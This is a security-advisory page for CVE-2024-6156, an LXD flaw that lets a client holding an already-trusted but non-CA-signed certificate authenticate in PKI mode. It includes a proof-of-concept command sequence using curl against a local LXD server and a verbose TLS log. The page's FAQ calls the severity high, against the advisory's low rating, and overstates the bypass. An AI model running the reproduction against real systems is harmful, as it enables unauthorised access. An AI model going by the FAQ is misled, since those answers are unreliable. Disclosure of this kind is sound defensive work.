CVE-2024-6156: Low severity go/github.com/canonical/lxd vulnerability

Published Dec 5, 2024
·
Updated

Summary If a server.ca file is present in LXDDIR at LXD start up, LXD is in "PKI mode". In this mode, only TLS clients that have a CA-signed certificate should be able to authenticate with LXD.

We have discovered that if a client that sends a non-CA signed certificate during the TLS handshake, that client is able to authenticate with LXD if their certificate is present in the trust store. - The LXD Go client (and by extension lxc) does not send non-CA signed certificates during the handshake. - A manual client (e.g. cURL) might send a non-CA signed certificate during the handshake.

Versions affected LXD 4.0 and above.

Details When PKI mode was added to LXD it was intended that all client and server certificates must be signed by the certificate authority (see https://github.com/canonical/lxd/pull/2070/commits/84d917bdcca6fe1e3191ce47f1597c7d094e1909).

In PKI mode, the TLS listener configuration is altered to add the CA certificate but the ClientAuth field of tls.Config is not changed. The ClientAuth field is set to tls.RequestClientCert, which configures the TLS connection to request a certificate from the client, but not require one. This is necessary because untrusted requests are allowed for some endpoints.

If a client certificate is present in the trust store before PKI mode is enabled, calls to LXD using that certificate fail when using the Go client for LXD. I believe that what is happening is as follows: - During the TLS handshake, the server requests a certificate from the client. The server includes in it's request a list of acceptable CAs. - The go client receives the request from the server, but does not have any certificates that match what the server requires, and so does not send any. - The server considers the handshake complete because it does not absolutely require the client certificate (see above). - In the (Daemon).Authenticate method, when checking for TLS clients, there are no PeerCertificates in the request. So util.CheckTrustState is never called and the request is denied.

Importantly, the above does not apply if the client sends a certificate during the handshake anyway. If this occurs and the certificate is present in the trust store, the request is trusted and is allowed to continue. It is possible to do this using cURL.

PoC The follow snippet demonstrates the vulnerability:

Install/initialize LXD $ snap install lxd --channel 5.21/stable $ lxd init --auto $ lxc config set core.httpsaddress=127.0.0.1:8443

Add a certificate to the trust store before enabling PKI. $ token="$(lxc config trust add --name ca-test --quiet)" $ lxc remote add tls "${token}"

Use easyrsa for configuring CA: https://github.com/OpenVPN/easy-rsa $ cp -R /usr/share/easy-rsa "/tmp/pki" $ export EASYRSAKEYSIZE=4096 $ cd /tmp/pki $ ./easyrsa init-pki $ echo "lxd" | ./easyrsa build-ca nopass $ cp pki/ca.crt /var/snap/lxd/common/lxd/server.ca

Restart daemon. $ systemctl reload snap.lxd.daemon

Using curl with the client certificate we expect a 403 Forbidden response. Instead we get a 200 OK and we are able to view the response body. $ cat ~/snap/lxd/common/config/client.crt ~/snap/lxd/common/config/client.key > ~/snap/lxd/common/config/client.pem $ curl -s --cert ~/snap/lxd/common/config/client.pem --cacert /var/snap/lxd/common/lxd/server.crt https://127.0.0.1:8443/1.0" | jq '.metadata.config."core.httpsaddress"' Impact

I believe this has a low impact for the following reasons: PKI mode is unlikely to have a large user base. PKI is likely to be configured at start up without any previous certificates in the trust store. Authentication is not bypassed entirely, the client certificate must already be trusted.

Notes I am not certain why cURL sends the certificate during the handshake but we can see it in the logs: Trying 127.0.0.1:8443... % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0 Connected to 127.0.0.1 (127.0.0.1) port 8443 (#0) ALPN, offering h2 ALPN, offering http/1.1 CAfile: /var/lib/lxd/server.crt CApath: /etc/ssl/certs TLSv1.0 (OUT), TLS header, Certificate Status (22): } [5 bytes data] TLSv1.3 (OUT), TLS handshake, Client hello (1): } [512 bytes data] 0 0 0 0 0 0 0 0 --:--:-- 0:00:03 --:--:-- 0 TLSv1.2 (IN), TLS header, Certificate Status (22): { [5 bytes data] TLSv1.3 (IN), TLS handshake, Server hello (2): { [122 bytes data] TLSv1.2 (IN), TLS header, Finished (20): { [5 bytes data] TLSv1.2 (IN), TLS header, Supplemental data (23): { [5 bytes data] TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8): { [15 bytes data] TLSv1.2 (IN), TLS header, Supplemental data (23): { [5 bytes data] TLSv1.3 (IN), TLS handshake, Request CERT (13): { [69 bytes data] TLSv1.2 (IN), TLS header, Supplemental data (23): { [5 bytes data] TLSv1.3 (IN), TLS handshake, Certificate (11): { [496 bytes data] TLSv1.2 (IN), TLS header, Supplemental data (23): { [5 bytes data] TLSv1.3 (IN), TLS handshake, CERT verify (15): { [111 bytes data] TLSv1.2 (IN), TLS header, Supplemental data (23): { [5 bytes data] TLSv1.3 (IN), TLS handshake, Finished (20): { [36 bytes data] TLSv1.2 (OUT), TLS header, Finished (20): } [5 bytes data] TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1): } [1 bytes data] TLSv1.2 (OUT), TLS header, Supplemental data (23): } [5 bytes data] TLSv1.3 (OUT), TLS handshake, Certificate (11): <<<<<<<<< HERE } [455 bytes data] TLSv1.2 (OUT), TLS header, Supplemental data (23): } [5 bytes data] TLSv1.3 (OUT), TLS handshake, CERT verify (15): } [111 bytes data] TLSv1.2 (OUT), TLS header, Supplemental data (23): } [5 bytes data] TLSv1.3 (OUT), TLS handshake, Finished (20): } [36 bytes data] SSL connection using TLSv1.3 / TLSAES128GCMSHA256 ALPN, server accepted to use h2 Server certificate: subject: O=LXD; CN=root@RUBIX start date: Apr 2 15:27:39 2024 GMT expire date: Mar 31 15:27:39 2034 GMT subjectAltName: host "127.0.0.1" matched cert's IP address! issuer: O=LXD; CN=root@RUBIX SSL certificate verify ok. Using HTTP2, server supports multiplexing Connection state changed (HTTP/2 confirmed) Copying HTTP/2 data in stream buffer to connection buffer after upgrade: len=0 TLSv1.2 (OUT), TLS header, Supplemental data (23): } [5 bytes data] TLSv1.2 (OUT), TLS header, Supplemental data (23): } [5 bytes data] TLSv1.2 (OUT), TLS header, Supplemental data (23): } [5 bytes data] Using Stream ID: 1 (easy handle 0x601ce9c4feb0) TLSv1.2 (OUT), TLS header, Supplemental data (23): } [5 bytes data] > GET /1.0 HTTP/2 > Host: 127.0.0.1:8443 > user-agent: curl/7.81.0 > accept: / > TLSv1.2 (IN), TLS header, Supplemental data (23): { [5 bytes data] TLSv1.3 (IN), TLS handshake, Newsession Ticket (4): { [569 bytes data] TLSv1.2 (IN), TLS header, Supplemental data (23): { [5 bytes data] Connection state changed (MAXCONCURRENTSTREAMS == 250)! TLSv1.2 (OUT), TLS header, Supplemental data (23): } [5 bytes data] TLSv1.2 (IN), TLS header, Supplemental data (23): { [5 bytes data] TLSv1.2 (IN), TLS header, Supplemental data (23): { [5 bytes data] TLSv1.2 (IN), TLS header, Supplemental data (23): { [5 bytes data] < HTTP/2 200 < content-type: application/json < etag: "a1147bd1cd26e0b98e4c4400be3c17d5de3d865a045b6e609c6a8ee1aba8c1a1" < date: Mon, 17 Jun 2024 21:25:46 GMT < TLSv1.2 (IN), TLS header, Supplemental data (23): { [5 bytes data] TLSv1.2 (IN), TLS header, Supplemental data (23): { [5 bytes data] TLSv1.2 (IN), TLS header, Supplemental data (23): { [5 bytes data] 100 11659 0 11659 0 0 3401 0 --:--:-- 0:00:03 --:--:-- 3402 Connection #0 to host 127.0.0.1 left intact

Other sources

Mark Laing discovered that LXD's PKI mode, until version 5.21.2, could be bypassed if the client's certificate was present in the trust store.

NVD

Affected Software

4 affected componentsFixes available
go/github.com/canonical/lxd<0.0.0-20240708073652-5a492a3f0036
0.0.0-20240708073652-5a492a3f0036
Canonical LXD>=4.0.0<4.0.10
Canonical LXD>=5.0.0<5.0.4
Canonical LXD>=5.1<5.21.2

Event History

Dec 5, 2024
CVE Published
via MITRE·11:11 PM
Data Sourced
via MITRE·11:11 PM
DescriptionSeverity
Dec 6, 2024
Data Sourced
via NVD·12:15 AM
DescriptionSeverity
Data Sourced
via NVD·12:15 AM
WeaknessAffected Software
Dec 9, 2024
Advisory Published
via GitHub·11:26 PM
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2024-6156?

CVE-2024-6156 has been classified with a high severity rate due to its potential to allow unauthorized access via non-CA signed certificates.

2

How do I fix CVE-2024-6156?

To mitigate CVE-2024-6156, ensure that only CA-signed certificates are used for client authentication with LXD.

3

Which versions of LXD are affected by CVE-2024-6156?

CVE-2024-6156 affects LXD versions prior to 0.0.0-20240708073652-5a492a3f0036.

4

What is the impact of CVE-2024-6156 on LXD security?

The impact of CVE-2024-6156 compromises the security by allowing clients with invalid certificates to bypass authentication in PKI mode.

5

Is upgrading to the latest version sufficient to resolve CVE-2024-6156?

Yes, upgrading to the version 0.0.0-20240708073652-5a492a3f0036 or later resolves the vulnerability associated with CVE-2024-6156.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203